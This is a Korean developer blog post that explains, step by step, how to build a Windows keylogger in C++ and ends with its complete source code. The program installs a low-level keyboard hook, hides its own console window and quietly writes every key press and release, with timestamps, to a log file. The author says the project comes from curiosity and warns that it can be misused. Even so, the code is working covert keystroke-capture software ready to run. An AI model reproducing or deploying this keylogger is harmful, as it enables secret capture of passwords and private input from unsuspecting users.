[Develog] 키로거 프로그램

이성훈·2023년 3월 16일
0

DEVELOG

목록 보기
11/14

이전에 게임을 하다가 문득 든 생각으로, 내가 컴퓨터를 쓰면서 가장 많이 사용하는 키는 무엇일까?
하는 생각으로 찾아보니, PC사용자의 모든 키보드 입력값을 중간에서 가로채는 행위로 소프트웨어방식의 키로거 프로그램이라는게 있었다.

하지만 이는 악용될 우려가있기에 그저 호기심으로만 개발과정을 봐줬으면한다. C++을 이용하여 개발해보겠다.

우리가 구현해야할 부분들을 정리해보자.

  1. 키보드 입력을 받는 함수
  2. 받은 키보드 입력을 우리가 알아볼 수 있는 형태로 바꿔주는 함수
  3. 입력받은 내용을 텍스트 파일에 저장하는함수
  4. 백그라운드에서 프로그램 실행하기

우선 이 정도를 먼저 구현해보자.

첫번쨰로 1번 키보드입력을 받는 함수를 작성해보자.
가장 간단한 방법으로 Windows API를 사용할 수있다. winuser헤더를 사용해보자.(후크사용에 관한 설명 >> https://learn.microsoft.com/ko-kr/windows/win32/winmsg/using-hooks)
위 내용을 보면 메인 함수에서 HHOOK객체에 SetWindowsHookEx 함수를 호출하여 인자로 WH_KEYBOARD_LL, 지금부터 정의할 KeyboardProc라는 키보드입력 이벤트를 처리할 핸들러함수, 그리고 NULL, 0 값을 차례로 전달하면 된다고 한다.
이제 GetMessage함수를 무한루프 시켜서 메시지를 처리 하도록 코드를 작성하고, 마지막으로 프로그램 종료전에 UnhookWindowsHookEx함수를 호출하여 주면 된다.

이제 키보드입력 핸들러함수인 KeyboardProc를 볼 차례인데, 우선 코드를 먼저 보고서 설명하겠다.

함수의 원형에대한 설명을 간략히 하자면, 이 함수에대한 반환값은 LRESULT라는 특수 자료형에 해당한다. 이 내부를 알아보기엔 너무 깊어서 생략하겠다. 또, CALLBACK함수에 해당하는데, 이는 윈도우 이벤트처리 목적으로 쓰이는 규약이다.
인자로 후킹과정에서 전달된 메시지코드인 nCode, 어떤키가 어떤 상태인지를 담은 WParam과 지금은 사용하지않은 lParam등이 사용된다.
lParam은 마우스입력등에서는 커서위치? 등의 정보를 담고 있다고한다.
우리의 프로그램은 wParam만을 이용해서 작성할 수 있다.
KBDLLHOOKSTRUCT 구조체는 키보드 후킹에대한 정보를 저장하고 있는 구조체로, 내부에 vkCode에 가상키값을 저장하고있다.
다음으로 wParam의 값으로 WM_KEYDOWN은 일반적인 키눌림,
WM_SYSKEYDOWN은 시스템 키 눌림을 의미한다.
우리 프로그램은 어떤 키던 눌림/뗌을 기록할것이므로 둘다 사용했다.

이쯤에서 2번인 가상키값을 우리가 알 수 있는 문자열로 바꾸어주는 함수를 작성해보자.
먼저, 여러 키가 같은 가상키값을 부여받을 수 있다고 한다.
따라서 이를 구별하기 위해 가상키값을 스캔코드값으로 바꿔주는 MapVirtualKey함수를 사용해야한다고 한다.
MapVirtualKey함수에 가상키값과 MAPVK_VK_TO_VSC를 인자로 넘기면 된다.
작성한 함수는 아래와 같다.

char배열을 리턴하며, 키에대한 모든 문자열을 대문자화해서 리턴 해주는 함수이다.

이제 1번함수로 돌아가서, 입력한 키가 명령창에 출력되도록 작성해보자.

문제는 이렇게 작성하면 키를 누른채로 있으면 계속해서 ON 키눌림~ 메세지를 계속 보여준다. 따라서 이전키를 저장하여 연속적인 키눌림을 1회만 기록하도록 수정하면 아래와 같다.

이제는 우리 프로그램의 궁극적인 목적인 지금까지의 출력결과를 텍스트파일에 기록하는 기능을 구현해보도록하자.
가장 먼저 bits/stdc++헤더와 _CRT_SECURE_NO_WARNINGS를 정의해주자. CRT는 VisualStudio로 개발과정에서 입출력시 나타나는 경고를 무시해준다.

main함수에서 텍스트파일을 열고 닫는부분을 작성해보았다.
만약 텍스트파일을 못찾는다면 텍스트파일을 새로 생성하도록한다.
문제는 ProgramFiles폴더에는 관리자권한이 필요하여
필자는 미리 log.txt파일을 생성해두고 프로그램을 작성했다.

이제 열어놓은 log.txt파일에 키입력을 기록하는 함수를 만들어보자. log.txt에 기록할때 시간정보를 입력하기위해 time.h의 time_t 타입으로 현재 시간을 구한뒤 localtime함수로 tm타입의 구조체인 localTime에 저장하도록했다.
복잡해보이는 이런 원시적인 일련의 과정을 거쳐야 혹시나마 있을 오류를 줄일 수 있다고한다.
이후 strftime함수로 localTime에 저장한 시간정보를 문자열 형태로 변환하여 fprintf로 log.txt파일에 logFile객체를 통하여 저장하도록하면 아래와 같은 코드가 탄생한다.

여기서 fflush를 바로 안해주면, 프로그램이 비정상적인 종료시
그동안 입력내용이 정상적으로 저장되지 않을 수 있다. 중요하다.

다음으로 완성된 WriteToLogFile함수를 KeyboardProc함수에서 사용하도록 코드를 작성해보자.

키이름에다가 키 눌림이면 'ON '키 뗌이면 'OFF '를 앞에 붙여서 logMessage에 저장한뒤에 이것을 WriteToLogFile함수로 보내어 시간정보를 앞에 붙인다음에 다시 logMessage에 최종 결과를 sprintf를 이용해서 저장한다.
결과는 시간정보 + ON/OFF + 키이름일것이다.

마지막으로 이 프로그램을 실행시 명령프롬프트창이 안나오도록, 백그라운드로 실행하기위해, GetConsoleWindow함수를 통해 현재 실행중인 윈도우의 핸들을 가져오도록한다.
이 핸들로 여러가지를 할 수 있는데 그중에서 우리는 ShowWindow함수를 이용해 윈도우창을 안보이게 할것이다.

여기서 중요한점은 이렇게두면 프로그램을 종료하기위한 단축키를 따로 설정해주지 않으면 프로그램을 정상적으로 종료할 방법이 없다.
필자의경우는 프로세스를 강제종료하는것을 선호해서
프로그램이 비정상적으로 종료되었을때 그동안 저장된 키보드입력에대한 버퍼를 모두 log.txt에 출력하도록하자.
이것은 signal.h의 signal함수로 모든 프로그램종료 상황을 인지 할 수 있다. 첫번째 인자로 SIGNT를 전달하여 비정상종료를 catch하여 특정 핸들러함수를 실행시킬수있다.
이 시그널이란 운영체제가 프로스세에 전달하는 비동기형 메시지로, 예기치않은 상황에서 프로세스가 처리 가능하도록 신호를 주는것이다.
예로들어 signal함수의 첫번째인자로 SIGTERM을 주면 사용자가 프로그램 종료 버튼을 눌럿을때 운영체제가 프로세스에게 정상적으로 종료하라고 신호를 주는것이다.
따라서 우리는 signal로 비정상종료를 탐지하여, 이런 경우 그동안의 내용을 log.txt에 저장하도록 작성해보자.

** 위내용중에 수정사항

  • KeyboardProc함수의 마지막 return값을 CallNextHookEx(NULL, nCode, wParam, lParam)로 수정해야함
  • keyboardProc함수에서 중복키 눌림을 방지하기위해서 if문 (prevKey != vkCode)을 추가해줘야한다.

아래는 전체 소스코드이다.

#define _CRT_SECURE_NO_WARNINGS 
#include <bits/stdc++.h>
#include <Windows.h>
#include <WinUser.h>
#include <signal.h>

int prevKey = -1;
HHOOK keyboardHook;
FILE* logFile;

//VKCode에 해당하는 키 이름을 반환하는 함수
char* GetKeyNameFromVKCode(int vkCode) {
    static char keyName[256];
    int scanCode = MapVirtualKey(vkCode, MAPVK_VK_TO_VSC);
    int result = GetKeyNameTextA(scanCode << 16, keyName, sizeof(keyName));

    //키 값에해당하는 문자열을 못찾았을경우
    if (result == 0)
        strcpy(keyName, "UNKNOWN");

    //키 값에 해당하는 문자열을 전부 대문자로 변환
    for (int i = 0; keyName[i] != '\0'; i++)
        keyName[i] = toupper(keyName[i]);

    //찾은 문자열을 반환
    return keyName;
}

//log.txt에 기록하는 함수
void WriteToLogFile(const char* message) {
    time_t currentTime;
    struct tm* localTime;
    time(&currentTime);
    localTime = localtime(&currentTime);

    char timeString[128];
    strftime(timeString, sizeof(timeString), "[%Y-%m-%d %H:%M:%S] ", localTime);

    fprintf(logFile, "%s%s\n", timeString, message);
    fflush(logFile);
}

//키보드 후킹 함수
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        KBDLLHOOKSTRUCT* p = (KBDLLHOOKSTRUCT*)lParam;
        int vkCode = p->vkCode;

        if (wParam == WM_KEYDOWN) {
            if (prevKey != vkCode) { //이전에 누른 키와 다른 키가 눌렸을 때만 출력
                //키가 눌렸을 때 수행할 동작
                char keyName[32];
                strcpy(keyName, GetKeyNameFromVKCode(vkCode));
                char logMessage[128];
                sprintf(logMessage, "ON %s", keyName);
                WriteToLogFile(logMessage);
                prevKey = vkCode;
            }
        }
        else if (wParam == WM_KEYUP) {
            //키를 떼었을 때 수행할 동작
            char keyName[32];
            strcpy(keyName, GetKeyNameFromVKCode(vkCode));
            char logMessage[128];
            sprintf(logMessage, "OFF %s", keyName);
            WriteToLogFile(logMessage);
            prevKey = -1; //키를 떼면 이전 키 초기화
        }
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

//프로그램 종료 시그널 핸들러
void SignalHandler(int signal) {
    fclose(logFile);
    exit(0);
}

//프로그램 종료 시 그동안의 로그를 기록하는 함수
void WriteRemainingLog() {
    fflush(logFile);
}

//프로그램 진입점
int main() {
    //프로그램이 실행될 때, 명령 프롬프트 창이 뜨지 않도록 설정
    HWND hwnd = GetConsoleWindow();
    ShowWindow(hwnd, SW_HIDE);

    logFile = fopen("C:\\Program Files\\log.txt", "a");
    if (logFile == NULL) {
        logFile = fopen("C:\\Program Files\\log.txt", "w");
        if (logFile == NULL) {
            printf("Failed to create log file.\n");
            return 1;
        }
    }

    //프로그램 종료 시그널 핸들러 등록
    signal(SIGINT, SignalHandler);

    //프로그램 종료 시 그동안의 로그를 기록하도록 atexit 함수 등록
    atexit(WriteRemainingLog);

    keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0) > 0);
    UnhookWindowsHookEx(keyboardHook);

    fclose(logFile);
    return 0;
}
profile
I will be a socially developer

0개의 댓글